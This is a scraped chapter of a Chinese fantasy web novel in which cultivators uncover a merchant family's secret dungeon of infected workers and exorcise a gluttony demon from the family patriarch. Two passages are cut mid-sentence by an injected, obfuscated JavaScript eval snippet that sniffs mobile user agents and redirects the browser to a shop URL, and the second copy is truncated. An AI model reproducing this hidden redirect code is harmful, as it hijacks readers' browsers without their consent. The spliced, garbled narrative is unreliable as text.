他破口大骂,让钱正宇十分难堪。大家都知道钱正宇没有坏心,但钱老爷发起脾气来专找难听的话来骂他。钱正宇只能当听不见,摆了摆手道:“把他送进去。” 一群侍卫围过去,有的抬手,有的抬脚,像蚂蚁一样把他抬进屋里去。工匠过来换上了新门,敲敲打打的折腾了半天,终于忙活完了。 钱老爷还在屋里断断续续地骂人,钱远志让无关的人都走了,只剩下些侍卫守在外面。小儿子提着灯笼过来,探头探脑地想去看父亲。钱正宇道:“谁让你来的?” 钱远志有点委屈,道:“这边这么大动静,我不放心。” 钱正宇摆出了大哥的威严,命令道:“回去睡觉。” 钱远志望着屋里,担忧道:“我睡不着,大哥,你给爹弄点吃的吧。不然我看他还要拆房子的。” 钱正宇看了段星河一眼,想问问他的意思。他们本来想饿一饿那妖怪,动起手来能多一些胜算。如今看来饿得太过头了也不行,不能金丹还没炼出来,先把妖怪逼急眼了。 段星河道:“弄点吃的吧。” 钱正宇便对身边的人道:“两只烤鸡,一份红烧肉,一盘青菜,一大碗米饭,再来一碗鱼汤。” 那人答应了,快步去了厨房。有食物能暂时填补那个无底洞,众人都松了口气。小儿子扬声道:“爹,别喊了,大哥让人给你弄吃的了。” 钱百富的声音果然静了下来,迫不及待道:“让他快点!” 小儿子道:“知道啦——” 钱正宇在走廊的扶手上坐了下来,感觉十分疲惫。钱远志过去道:“哥,爹就是心情不好,胡说了几句,你别把他的话放在心上。” 钱正宇把头埋在手心里,显得十分难过,哑声道:“我就想让他好好的,只要他没事,让我付出多大的代价都行。” 他静了片刻,抬头看着段星河,道:“你们是我唯一的希望了,一定得救我爹。” 李玉真道:“你放心,我们一定尽力。” 段星河却没这么容易跟人打包票,道:“钱兄,咱们认识这么久了,是不是得以诚相待?” 钱正宇不明白他的意思,段星河道:“你有事瞒着我们?” 钱正宇的目光微微一动,道:“这么吓人的情形都让你们看见了,我还有什么可瞒的。” 段星河看着他的眼睛,单刀直入道:“钱老爷到底是怎么招惹上这怪物的?” 到了这个地步,该让他们知道的、不该让他们知道的,都已经被他们看见了。钱正宇再隐瞒下去也没有意义,他沉默了良久,起身推开了一扇门,进屋坐下了。 其他人跟着进来了,门半开着,惨白的月光照进来。钱正宇的脸色有些阴郁,低声道:“我们家生意做得大,常有人来找我们麻烦。白道、□□,同行,每天光应付这些事都让人心力交瘁。我爹总是一个人揽着,他说能多护我们几年,就让那些人往他身上招呼。只让我管账目上的事,不必操心那些乱七八糟的。” 他说着看了弟弟一眼,道:“从商不容易,所以家里让你走仕途,你也能少蹚浑水。偏不听,一天到晚不好好读书,非来搅合这些破事。” 钱远志不服气道:“管爹的事怎么能叫蹚浑水呢,我担心他担心的吃不下饭,睡不着觉。我快十五了,不是小孩子了,哥你不能什么都不让我知道!” 钱正宇淡淡道:“今天这些朋友要问,我便也说与你听。你知道了家里的难处,好好负起读书中举的责任来,就算对得起父亲了。” 钱远志不敢回嘴,生怕大哥反悔了,老实巴交地站在一旁。钱正宇道:“半年前,有个男人来过万通商会。他邀请咱们父亲加入万象门,目的很明确,就是要操纵父亲的金钱帝国,控制整个大陆。” 众人都睁大了眼,没想到万象门的人这么猖狂,居然敢提出这样的要求。钱远志整天在学堂里待着,没听过这个名字,道:“万象门是什么?” 钱正宇道:“一个邪恶的组织,手下妖魔众多,在大幽很成气候,很多精英都加入了万象门,他们掌控了这个大陆的各个方面。来的人自称是金环使,是万象门教主座下的左膀右臂之一。他一方面用武力威胁咱们,另一方面许诺如果父亲跟万象门合作,就让他永远保持富裕,甚至还能让他长生不老。” 钱远志皱起了眉头,道:“爹没答应他吧,空手套白狼,他们想得美呢!” 钱正宇的手搭在桌子上,淡淡道:“爹做了一辈子生意,什么人没见过,根本没被那人吓住,直接拒绝了他。那男人也没多纠缠,只是说,后悔了就呼唤他的名字。” 钱远志道:“然后呢?” 钱正宇道:“后来的事你也知道了,父亲有一次从观音庙烧香回来,在路上遇到了一个硕大的黑影,悄悄地附在了他身上。那怪物害的他饥饿不堪,父亲以前也是个讲究的人,这怪物就搞得他贪吃贪饮颜面扫地。但就算这样他也没有妥协,一直拖到现在。” 钱远志握紧了拳头,道:“这怪物是万象门的人放过来的?” “肯定是,”钱正宇道,“那个叫金环的人来劝说不成,就放了这怪物来折磨咱们,想逼咱们就范。” 钱远志十分愤怒,道:“太卑鄙了!” 段星河等人互相看了一眼,没想到万象门的人无孔不入,还试图把万通商会的人拉下水。幸亏钱老爷子是块硬骨头,死也不向他们妥协。若是经济命脉被他们窃取了,那些人就更加为所欲为了。 侍卫提了两个食盒过来,在外面道:“少主,饭做好了。” 钱百富已经闻见了食物的香气,在窗户上扒了个窟窿,把脸上的肉都挤了出来,激动道:“给我,快给我!” 平常大家见他这样贪吃,只会觉得可怕。可听他大儿子说了这些事后,众人看他的目光却带了几分敬重。他宁可自己变成这样也不向妖魔低头,没人理解他,也没有人会给他嘉奖。但他此举救了很多人,说他是个英雄也不为过。 虽然他年纪大了,锋芒也收敛了许多,但钱百富有自己的坚持。他一手建立起这么大的商业版图不容易,就算死也不能拱手让给别人。 那人小心翼翼地把食盒递过去,钱百富连忙抓在手里,如获至宝。他在屋里大吃大嚼起来,肥硕的身影映在窗户上,让人看了便有些难过。 段星河对他十分佩服,暗中下定决心,无论如何也得想办法救他。趁着他埋头吃饭,李玉真从袖中摸出几张黄符,悄悄地贴在了门窗上。钱正宇道:“不会伤到他吧?” 李玉真道:“只要他不像刚才那样破坏门窗,就不会有事。” 再这么折腾下去,所有人都受不了,只有把妖怪除掉大家才有安稳日子过。钱正宇道:“什么时候做法?” 段星河白天去丹房看过了,步云邪那边的进展还算顺利。他道:“金丹快炼好了,再坚持一下就动手。” 钱远志担心道:“你们抓妖可以,千万别伤到我爹啊。” 段星河道:“放心吧,肯定保他周全。” 天还没亮,众人回去睡了一觉。段星河迷迷糊糊的感觉有东西在扒拉自己,他睁开眼,见小对眼坐在床头,正在挠他身上的毯子。 他看了一眼天色,大约是未时了。段星河道:“你妈呢?” 小对眼一只眼看天,一只眼看地,哇地一声叫。段星河见墨墨没跟它在一起,觉得有点奇怪。他想起昨天晚上钱老爷活吃了一只狸花猫,有点担心。他道:“这边不安全,没事别出去乱逛。” 小对眼歪了歪头,也不知道听懂没有。段星河起来给它弄了点吃的,小对眼果然饿了,埋头唏哩呼噜一顿狂吃。段星河摸了摸它的背,软软的毛摸起来手感特别好。段星河的心情好了起来,出去的时候关上了门窗,防止它自己跑出去被人逮住了。 他走到院子里,见伏顺和赵大海迎面来了。伏顺道:“大师兄,你起来了?” 段星河道:“嗯,你们干嘛去了?” 伏顺道:“出去转了一圈,给你带了点吃的。” 他递过来一个用油纸包着的肉烧饼,香喷喷的还热乎。段星河也没客气,在凉棚下坐了,吃着东西道:“瓜皮呢?” 赵大海嘿嘿一笑,仿佛藏了什么宝贝似的,扯了一下脑后的兜帽,露出了墨墨的后背。它正窝在他的帽子里睡觉,原来是跟着他俩上街玩去了。 它肉乎乎的一团,身上的花纹随着呼吸一鼓一鼓的,比刚来的时候胖了不少。段星河道:“长这么大个了还钻帽子,快兜不住了。” 赵大海还考虑过这个问题,道:“我想让人做个布兜子,这样它再长大一圈也能背的了。” 段星河吃完了饼,去缸里舀了一瓢凉水喝了,道:“让它多动弹动弹吧,快长成小猪了。” 他道:“李兄呢?” 赵大海道:“他和宋姑娘好像去丹房了,找二师兄玩去了吧。” 段星河喔了一声,迈步往外走去。伏顺道:“大师兄,你去哪儿?” 虽然得知了钱老爷身上那怪物的来历,但这宅子里似乎还有些问题。段星河惦记着昨天去过的那间小院,想趁着没人注意过去看一眼。他寻思了一下,觉得人少了万一出事不好应付,道:“我去查点事,你们跟我一起来吧。” 那间小院的位置很偏僻,这会儿宅子里的仆人也大多在休息,没人注意到这边。 段星河躲在月洞门外瞧了片刻,见屋门前只有两个侍卫守着。他低声道:“顺子,你的瞌睡虫呢?” 伏顺从前养了些瞌睡虫玩,师父说他净学些旁门左道的小玩意儿,让他销毁了。伏顺舍不得,还是把空竹筒带在身上。前几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598844|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天段星河还见他在草丛里钻来钻去地找小虫,这种小玩意儿只在半夜到清晨出现,天一亮就藏起来了。 伏顺从腰包里掏出竹筒,放出了瞌睡虫,小声道:“去,找他们耍耍。” 一只瞌睡虫飞了出来,它通体金黄,长得有点像熊蜂。小虫飞到了那两个侍卫跟前,绕着他们打转。瞌睡虫翅膀震动的频率会让人觉得困倦,它平常以花蜜为食,身体会散发出一股特殊的气味,也有催眠的效果。 一个人觉得嗡嗡的有点烦人,抬手挥了挥,忍不住打了个呵欠。另一人道:“哎,大白天犯什么困?” 他说着也觉得有点困,往后踉跄了一步,倒在了地上。另一个人倒在他旁边,已经睡着了。 小虫飞了回来,伏顺十分高兴,道:“很好,回去给你蜂蜜吃。” 小虫爬进了竹筒,段星河带人悄悄溜了进去。他推门进了屋,正面是一个大厅,两旁放着些木杖,上首挂着族长的画像,原来这里是钱家宗族断事的地方。绕过前堂,就见一道石阶往地下通去。 伏顺有点紧张,道:“哥,要下去吗?” 段星河道:“来都来了,去看一眼。” 伏顺道:“被人发现了怎么办?” 段星河啧了一声,觉得他胆子也忒小,道:“你害怕就在外面等着,我们去去就回。” 他说着走了进去,赵大海跟在他身后。伏顺不想一个人被扔在这里,只好跟了进去。 地下阴暗潮湿,里头传来野兽般的哀嚎声。下面没有守卫,却有一条长长的甬道,两侧是几个牢房。里头关着十来个人,每个人都披头散发的倒在牢房里,有的呜呜直叫,有的又抓又挠,扯得身上的镣铐叮当作响。段星河明白了,昨天他听到的声音就是这么来的。 赵大海道:“怎么关了这么多人?” 伏顺诧异地看着那些人,低声道:“看不出来啊,他家还动私刑?” 一个人缩成一团,捂着干瘪的肚子道:“我饿,我好饿啊……给我吃的!” 他这情形跟钱老爷十分相似,众人互相看了一眼,心中都有了不好的预感。那人抓起一把稻草塞进嘴里,嚼了几下,费劲地咽了下去。对面牢房的人拿头一个劲儿地撞墙,道:“好饿,饿死我了!放我出去,我要吃!” 段星河挪了一步,嚼着稻草的人看见了他们,瞪大了眼睛,嘴里的稻草纷纷掉了下去。 他猛地扑到牢房跟前,用力拍打铁栏杆,道:“放我出去,我不想死,救救我!” 其他人已经饿的神志恍惚了,有的在哭嚎,有的满地打滚,只有这个人还有些理智。到处都弥漫着一股阴沉的黑气,跟钱老爷身上的气息十分相似。段星河走了过去,道:“你们为什么被关在这里?” 那人哭道:“我是钱家的工人,前阵子送饭的时候不小心被老爷咬了一口,就被少主关在这里了。牢里的人都跟我差不多,我们没做过坏事,求求你少侠,放我们出去吧!” 段星河看着他们痛苦的情形,皱眉道:“被他咬过的人都会染上他的饿病?” 那人道:“是啊,大家一开始以为老爷只是贪吃,没想到这病会传染。我被关了半个月了,每天只有青菜豆腐吃,我好难受啊。你们快救救我,救救我!” 他扒着栏杆,眼里露出期盼的光。这些人虽然无辜,但既然已经染上了暴食病,见人就咬,放一个出去就会传染一大片。段星河能理解钱少主为什么把他们关起来,但这样硬生生把他们关到死,也太残忍了。 难怪外头那些人战战兢兢的,又穿着一层层盔甲,就是为了防止被咬伤。钱远志应该知道他爹这病会传染,但也隐瞒着不说。钱正宇要统领万通商会,覆盖整个大陆的生意,不能让这种丑闻到处传播,难怪他要再三强调保密。 但这些人的命也是命,段星河也曾经被人关在牢房里,被当做最低贱的奴隶,每天一睁眼就是采石头。他受过那样的罪,知道被关着的人有多痛苦。 前面的牢房里,有人爬了起来,竭力把胳膊从栏杆里伸出来。更多的人注意到了这边,用力地拍着栏杆,嘴里含糊不清地念叨着什么,想要把他们拖过去撕成碎片。 到处都是挥舞的手,每个人都露出迫切的眼神,贪婪地盯着他们,那情形就像饿鬼地狱一样。 段星河往后退了一步。那人急道:“别走,别走!” 段星河道:“你忍一忍,我找人来给你们驱邪,治好了病再出去。” 那人怕他们走了就不回来了,喊道:“别扔下我,我想活,我才二十岁,求求你们了!” 他这么声嘶力竭地喊,其他人也跟着嚎叫起来。赵大海他们也很不好受,跟着段星河快步走了出去。 赵大海道:“大师兄,怎么办?” 这些人跟钱老爷不一样,钱老爷体内藏着大妖,是它的宿主。其他人只是被秽气缠身,应该还有救。段星河道:“叫阿云和李兄过来,他们俩应该能驱除这些人身上的邪气。” 伏顺觉得事情不会这么顺利,道:“钱少主把他们关在这里恐怕就是想把人耗死,要是肯给他们治病,早就治了。” 三人沉默下来,知道钱正宇这人极好面子。这些人的病好治,但治好了之后,钱家的秘密也就守不住了。 段星河果断道:“我来跟他交涉,你们去找阿云。” 兄弟几个出了地牢,就见迎面来了一群人,拿着刀剑把这边围了起来。看来刚才那些人大吵大闹的,惊动了周围的侍卫。段星河眉心一跳,道:“你们这是干什么?” 钱正宇从人群后走出来,道:“段兄,这是钱家的禁地,谁让你进去的?” 他的神色凝重,带着一丝阴沉,跟先前的态度判若两人。伏顺的个头矮一些,被赵大海挡住了,那些人没注意到他。段星河把手背在身后,朝他摆了摆,示意他别露头,又向后一指。伏顺心领神会,悄悄地从后头翻窗户出去,一溜烟地去找步云邪他们报信儿去了。 钱正宇冷冷道:“你答应我不会乱走乱看的。” 其他人来之前,段星河打算拖一阵子。他道:“你也说过,不会对我有任何隐瞒,这么大的事怎么不说?” 钱正宇坚持道:“这是我们钱家的私事,没必要跟你报备。” 段星河正色道:“我敬钱老爷子是个英雄,能跟万象门对抗到现在。可你也不能为了自己一家的面子就伤害无辜之人。你打算怎么办,把他们关到死为止?你知道你父亲得了暴食症痛苦,就没想过这些人也会难受么?” 钱正宇的神色冰冷,道:“他们都是无父无母的人,从小在钱家的善婴堂长大。没有我爹的恩惠,他们早就死了,现在也只不过算是他们报恩罢了。” 赵大海有些恼怒了,攥起拳头道:“这……这算什么报恩,你这是草菅人命!你以为赏他们几顿粥饭,这些人就得给你当牛做马了,你进去看看他们有多痛苦。就算是神仙也不能决定人的生死,何况你只是有几个臭、臭、臭钱而已!” 他一激动就忍不住犯磕巴,但气势逼人,说的话也在理。钱少主一时间没说话,段星河道:“打个商量,我们帮你爹把身上的妖物赶走,顺便给这些人驱邪。你把他们放出来,行不行?” 钱正宇冷冷道:“他们知道了我爹的秘密,怎么可能放他们出来。” 段星河道:“你从一开始就没想让他们活吧,这样是不是太残忍了?” 钱正宇仿佛长着一副铁石心肠,道:“只要我爹好,别人怎么样都无所谓。” 这些话他心里想想就算了,还堂而皇之地说出来,简直没把王法放在眼里。段星河有些恼火,但为了那些人能活命,还是劝道:“上天有好生之德,让他们保密就是了,也没必要非得灭口吧?” 钱正宇有些不耐烦了,长久以来的压力已经让他到了崩溃的边缘。他像头野兽似的,恨声道:“你答应了要救我爹的,其他的事都别管!我已经容忍你很久了,别再跟我废话,要不然我这就杀了他们——” 他深藏的秘密被揭露出来,非但不知悔改,反而把那些人当成了人质。一众侍卫提着刀剑上前,露出了杀气。段星河环顾了一圈,淡定道:“这是什么意思,钱少主,你威胁我?” “是又怎么样,”钱正宇厉声道,“我让你干什么你们就干什么,这个地方我说了算,明白么!” 段星河根本没把他放在眼里,冷冷道:“我要是不听呢?” 他抬起下巴,露出蔑视的表情。钱正宇被他气的七窍生烟,双方相对而立,情势一触即发。 段星河和赵大海站在一起,面对着钱家的一众侍卫,神色冷漠。钱正宇面目狰狞,恶狠狠地盯着他们,恨不能把这些昔日的座上客统统杀光,好把钱家的秘密烂在肚子里。 40.暴食 五 双方对峙着,钱正宇眼里透出一股杀气,浑身都紧绷着。父亲生的这场怪病让他心力交瘁,对一切都失去了耐心。 赵大海感到一阵不妙,钱家是地头蛇,真要动起手来实在不好收场。他道:“喂,你别激动,有话好好说。” 钱正宇道:“我一直对你们很客气,别逼我动手。” 段星河笑了,道:“咱们是钦天监的人,为陛下办事。若是有一人受到损伤,朝廷必然要追责。到时候你家里的这些事,还瞒得住么?” 钱正宇虽然家大业大,毕竟只是个商人。段星河搬出朝廷来压他,钱正宇果然不敢妄动了。他咬牙切齿道:“你想怎么样?” 段星河道:“牢里的人我都数过了,一共十八个,救了钱老爷我就来找他们,一个也不能少。” 钱正宇气得脸色铁青,一时间没说话。这时候就见伏顺气喘吁吁地跑了过来,步云邪跟在他身后,喝道:“住手,别乱动——” 步云邪是朝廷的六品官,年纪轻轻便救了皇帝的性命,救钱老爷必然也不在话下。钱正宇知道他的本事了得,一见他来了,气焰顿时没那么嚣张了,低声道:“把刀收起来。” 其他人纷纷收起了刀剑,老老实实地退到了钱正宇身后。步云邪站在段星河身边,严肃道:“怎么回事?” 他高华的气质自然生出威严,让人不敢造次。钱正宇道:“没什么,就是……跟段兄聊一聊天。” 地牢里的事,步云邪已经听伏顺说了。他不跟钱正宇绕弯子,警告道:“别动牢里的人,我等会儿来看他们。少一个我给你上报朝廷,让官府来细查。” 钱正宇不想把事情闹大,沉默下来。段星河冷着脸,方才跟他争执憋了一肚子气。步云邪缓和道:“钱老爷生了病,大家着急上火,可以理解,都冷静一下。” 钱正宇已经熬不下去了,每天都像在油锅里一样痛苦,道:“步大人,到底什么时候能为家父驱邪?” 步云邪道:“我正想跟你们说,金丹已经炼成了,咱们这就开始。” 众人都又惊又喜,顿时松了口气。不管怎么样,总算要有个结果了。钱正宇的眼睛亮了起来,道:“好,咱们这就去,兄弟们跟我来!” 一群人来到了钱老爷的小院外,他在屋里打着呼噜,声音震天动地的。李玉真和宋胡缨也来了,钱远志得了消息,也带着伴读跑了过来。 钱正宇冷冷道:“你怎么又来了?” 钱远志道:“我不放心,大哥,你就让我看看嘛。” 钱正宇没心情管他,转头看步云邪,道:“大人,怎么驱邪?” 步云邪从袖中拿出一枚金丹,低声道:“把这个罗汉护元丹给他吃下去,一炷香的功夫里,他的身体不会受任何伤害,我们会用灵力把他体内的妖魔逼出来。” 丹药散发着淡淡的灵气,钱正宇道:“这……他不会老实吃吧?” 他体内的妖魔狡猾得很,直接让他吃药肯定又要闹腾。段星河心思一动,道:“给他塞馒头里,他吃饭狼吞虎咽的,不会发现的。” 大家觉得可行,就是怕钱老爷生出戒备心来。钱远志自告奋勇道:“我来,我去给他送饭,爹最相信我了!” 钱正宇道:“小心别让他咬伤了。” 钱远志道:“他不会咬我的,爹还没到六亲不认的地步。” 钱正宇让厨房做了饭,把金丹塞到了一个馒头里,又弄了些味道浓厚的炖猪蹄、当归炖鸡之类的饭菜,把药味盖过去。钱远志提着食盒,过去敲了敲窗户,道:“爹,起来吃饭啦——” 钱老爷本来还在酣睡,听见吃饭两个字顿时醒了过来。他一个翻身起了床,扑到窗户跟前,激动道:“好孩子,你怎么来了?” 钱远志故意回头看了看,低声道:“我看这边没人,就偷偷来给你送饭了,快点吃,别让他们发现了。” 钱百富感动得热泪盈眶,接过篮子进屋,埋头大吃大嚼起来。钱远志躲在屋外,透过窗户缝往里看,见父亲很快就把一篮子饭菜吃了个精光,那个藏着丹药的馒头也被他吞了下去。 钱远志松了口气,出来对那几人道:“他吃下去了。” 等了片刻,金丹应该彻底被他吸收了。段星河搓了搓手道:“开始吧。” 钱正宇让无关的人都离开,自己带着一队人在附近守着。段星河拿着钥匙,打开了钱老爷的房门。将要面对的是上古大妖,也不知道本事有多大。他有些紧张,手心里生出了冷汗。 步云邪道:“别担心,咱们一起对付它。” 段星河点了点头,推开了房门。钱百富还以为偷吃东西被他们发现了,把篮子往床底下踢了踢,紧张道:“你们干嘛?” 段星河道:“钱老爷,今天是个上上大吉的日子,咱们替您驱邪。劳烦您配合一下,我们不会伤害你的。” 钱百富有点紧张,抬头见钱正宇在外头,钱远志探头探脑地跟在大哥身边。他吞了一下口水,心想自己这样下去,一天天连累得儿女不能好好生活。他道:“那好吧,让远志回去念书,别在这儿待着。” 他还心疼小儿子,就是神志还清醒。钱正宇对侍卫道:“送他回去。” 两个侍卫过来道:“小少爷,请吧。” 钱远志道:“我不,你们答应让我在这儿看的。” 钱正宇冷冷道:“带他走。” 两名侍卫道了一声得罪,分左右把他架了起来。钱远志挥手蹬脚地挣扎,不满道:“干什么撵我,刚才还让我送饭,现在又翻脸不认人了。你们过河拆桥,混蛋!” 伏顺揣着手道:“小少爷,这边危险的很,你爹是为了你好,听话吧。” 伴读跟在少爷身后,讷讷的不敢说话。该走的人都走了,步云邪手中凝起一道金光,朝钱百富的胸膛拍了过去。钱老爷周身一震,感到了一阵灼热,但还能忍受。他体内生出了一道黑色的邪气,像云雾一样蒸腾着,抵抗着那股正气。 步云邪持续将灵力施加在钱百富身上,周围生出了金光咒的符文,明明灭灭地在空中浮动着。强大的正气把那妖物逼得无处可逃,它试图像以前那样劫持钱老爷的元神,让他跟自己一起痛苦。然而钱老爷有金丹护体,元神安然无恙,身体表面泛着一身淡淡的金光。 他坐在椅子上,看着周围的咒文,有些奇怪,又有点紧张。但为了他的儿女,他尽力保持着镇定。 步云邪的灵力越来越强,那妖物在钱百富的体内不住挣扎,却兴不起半点波澜。钱老爷的身体忽然一轻,感觉有些虚弱,又十分轻松,好像把一块背负了许久的大石头放下了。 众人就见一个黑影从他的身体里脱离出来,漂浮在半空中。 那道黑影越来越浓重,形体渐渐显现出来,是一团黑色的肉山,肉褶子里生着长长短短许多触须,身后长着一双蝙蝠似的翅膀。它浑身的肉不住蠕动着,类似脑袋的地方有一双极小的眼睛,却生着一张巨大的嘴,浑身散发着一股强烈的臭气,就像无数食物腐烂发酵的气息。 上古大妖之一,暴食。 这就是它本来的模样,它长期寄居在钱老爷的身体里,让他都变得跟它有些相似了。 侍卫们抬头看着那妖物,惊讶地睁大了眼睛,露出了恐惧的神色。 它张开大嘴,发出一声低沉的咆哮,仿佛问他们为什么多管闲事,打扰自己在这里胡吃海塞。无数粘液从它的嘴角淌下来,滴滴答答地落在地上。伏顺捏着鼻子道:“好臭,怎么有这么臭的东西。” 钱老爷激动道:“就是它,之前我晚上回来,路上跟着我的妖怪就是它!” 步云邪把一个桃木刻的五雷令符塞到了钱老爷手里,护住了他的七窍,防止那妖物再钻回去。他道:“你在屋里待着,不管外头怎么样都别出来。” 钱老爷攥紧了桃木令符,连连点头。众人来到院子里,看着半空中漂浮的大妖,李玉真道:“动手么?” 他们已经打算好了,只要把这妖物逼出来,就想办法把它封印起来,免得它再到处害人。 段星河的神色严肃,道:“动手!” 他和步云邪、李玉真手中凝结灵光,口中念诵降魔咒。三道灵光汇聚在一起,箭一般地向暴食飞了过去。 灵光围着大妖飞了一圈,像绳索一样捆住了它。众人就见灵光把它勒的一层层肉都挤了出来,暴食十分难受,奋力挣扎,发出了震天动地的吼声。它张开大嘴,口中喷出大量的黏液,空气中顿时散发着难闻的臭气。段星河一拽步云邪,道:“走。” 赵大海举起盾牌冲过来,帮他们挡住了暴食的攻击。啪嗒啪嗒数声,盾牌上满是那家伙的口水。幸亏这黏液没有腐蚀的效果,但光是这股臭气就够人受的了。赵大海的脸皱成一团,道:“好大的口气。” 这家伙才躲在钱老爷的身体里休养了半年,吸收的力量还不够它兴风作浪。伏顺大声道:“别怕,它只会朝人吐口水。” 段星河也感觉到了,这妖物色厉内荏,还没完全恢复本事。它身上缠绕着三人的灵力,一时间挣脱不开。宋胡缨冷冷道:“非得封印不可吗,死的要不要?” 情势紧迫,段星河道:“死的也行,没那么多讲究!” 宋胡缨要的就是这句话,登时提起了硕大的兵刃,如同提起了死神的镰刀,眼里透出一股杀气。李玉真扬声道:“小心啊!” 宋胡缨道:“你让它小心吧——” 她说话声中一跃而起,斩马/刀上烈焰灼灼燃烧,在空中划出一道赤红的轨迹。 她挥刀朝大妖斩过去,瞬息之间已经砍了它五六下。暴食咆哮着冲她喷出一大口黏液,宋胡缨的身法灵活,凌空一个翻身躲开了。李玉真怕她受伤,手中凝结了一团白光,将一道冰心咒护在了她身上。 宋胡缨正觉得对面臭不可闻,空气中的味道却渐渐淡了下去。她周身散发着一道白光,行动间都有小小的冰晶落下来,却是李玉真在保护她。 她心中微微一暖,又是一刀砍了下去。暴食那么多饭确实不是白吃的,身上的皮像犀牛一样厚实。一刀砍在它身上,非但没能伤到它,刀反而陷在了它一层层的肥肉里。 “厚皮怪,给我松开!” 宋胡缨拔不出刀,头上渗出了冷汗。暴食夹着她的刀就是不松,口中发出了呜呜的挑衅声,小眼睛闪着阴沉的光,显得十分得意。 这时就见一道幽紫的光芒闪烁,段星河提着幽冥剑斩了过来。他的剑极其锋利,一剑砍在大妖身上,强大的力量穿透了它厚实的皮肤,鲜血顿时淌了下来。 众人十分震惊,没想到连宋胡缨都对付不了的怪物就这么被他砍伤了,幽冥剑果然了得! 暴食疼得在空中不住翻滚,那一剑划破了它的胃,也就是它的要害。硕大的肉山缩成一团,不住呕吐起来,一股股酸水直往外喷射。 “快躲开!” 段星河和宋胡缨连忙闪身避开,下一刻,大量没消化完的食物像喷泉一样涌出来,呕吐物像沼泽一般冒着泡,熏得人头疼欲裂。 钱远志被侍卫架着没走出多远,就见一个肉山一样的怪物腾空飞了起来。那两个侍卫也惊呆了,忘了要带小少爷回去的事,停在了院中,抬头看着他们斗法。 伴读目瞪口呆,半晌才道:“少爷,这就是那个妖怪啊。” 钱远志喃喃道:“怪不得爹那么能吃,身体里养着这么个大玩意儿,谁受得了啊。” 地上满是秽物,臭气熏天,众人都躲得远远的。那堆垃圾中有个红色的东西在阳光下泛着光,段星河过去看了一眼,发现是一块红色的石头。他捡了根树枝,把那块石头拨弄出来。步云邪皱眉道:“干什么呢,你不嫌脏啊。” 段星河拿树枝戳了戳那东西,道:“你看这是什么?” 那是一块形状不规则的红碧玺,散发着淡淡的灵光。步云邪感到了一丝不寻常,用法咒从旁边的池子里引了点水,把那东西冲洗干净了,弯腰拾了起来。 红碧玺放出淡淡的光芒,看不出有什么用,但毕竟是上古大妖吐出来的,多少应该能值点钱。段星河道:“先收着吧,等有空了找识货的看一看。” 暴食吐完了,发出一声虚弱的咆哮,陡然张开了翅膀,忽地向外飞去。李玉真往前追了几步,道:“别让这祸害跑了!” 钱远志站在庭院里,就见那怪物稀里哗啦地喷了一阵子黏液,朝这边飞了过来。众人顿时慌了,伴读张开双臂,紧张道:“少爷,躲我后面!” 钱远志一把将他薅到假山后面,道:“站那儿当什么靶子,赶紧过来。” 暴食已经发现了它们,赤红的小眼睛放出了阴毒的光。它从肥肉里伸出几根长长的触须,俯冲过来把钱远志抓住了。伴读吓了一跳,大声喊道:“放开他,放手!” 两个侍卫拔剑砍下去,却只把它砍了一道白印子。暴食已经拖着小少爷飞起来了,钱远志用力撕扯它的须子,惊慌道:“放开我,救命,救命啊——” 段星河等人追了过来,钱远志已经被暴食抓着飞过了院墙,向南边去了。钱正宇慌了,道:“快救我弟弟!” 段星河停下了脚步,道:“你说什么?” 这种紧急的关头,不知道他怎么忽然不急了。钱正宇迫切道:“快救我弟弟,你……我给你加钱!” 段星河神色淡漠,道:“喔对,我差点忘了,在这个地方,你说了算。” 这是刚才钱正宇跟他放的狠话,段星河此刻说出来,很有些嘲讽的意味。弟弟要是有什么闪失,钱正宇没法跟父亲交代。他的脸色惨白,方才见他们斗法,他已经知道了这些人的厉害,心里后悔得罪他们了。他咬了咬牙道:“对不住,段兄,是我无礼,我向你道歉,请你们救救我弟弟!” 段星河淡淡道:“还有呢?” 钱正宇是个聪明人,立刻道:“我再加二百两银子。还有地牢里关着的那些人,我也答应你们都放了,绝不伤害他们性命!” 这笔交易还算不错,步云邪悄悄捅了捅段星河,示意他差不多了。段星河这才道:“那就这么说定了,我们去救他,你在家里等着吧。” 钱远志被那怪物拖着飞了一阵子,来到了郊外。到处都是树林,荒的连一个人也没有,暴食把他扔到了地上。钱远志摔的浑身都疼,生怕被它吃了。他往后缩去,道:“你别过来啊,我给你送过吃的,你不能恩将仇报啊。” 暴食在半空中浮着,庞大的阴影笼罩在他身上,似乎还不想吃他。 这小孩儿是钱老爷的儿子,若是钻到他身体里,应该还有无数的东西可吃吧? 暴食盯着他看了片刻,身体忽然化成了一团烟雾,几股黑气分别往他的七窍钻去。钱远志顿时慌了,捂着耳朵闭着眼道:“你别进来,走开、快走开,救命啊——” 段星河等人追到了附近的树林里,周围郁郁葱葱的,到处都差不多。李玉真道:“追丢了?” 正在这时候,就听前方传来了钱远志的惨叫声。众人登时一凛,拔腿朝那边冲过去。 段星河跑到跟前,就见几缕黑雾往钱远志的身体里钻去。少年抱着头满地打滚,大声嚷道:“救命,走开、走开,哥,救命啊——” 他一说话,那股黑雾就往他嘴里钻去。钱远志呸呸地吐了几口,紧紧地抿住了嘴。 步云邪连忙使出一道护身咒,令箭一般射过去,瞬间包裹住了钱远志的身体。黑雾钻不进去,痛失了一张饭票,发出了一声怒吼。钱远志连滚带爬地逃了过来,躲在了段星河身后,连声道:“哥哥,救命,救命!” 伏顺拉住了他的手,道:“跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 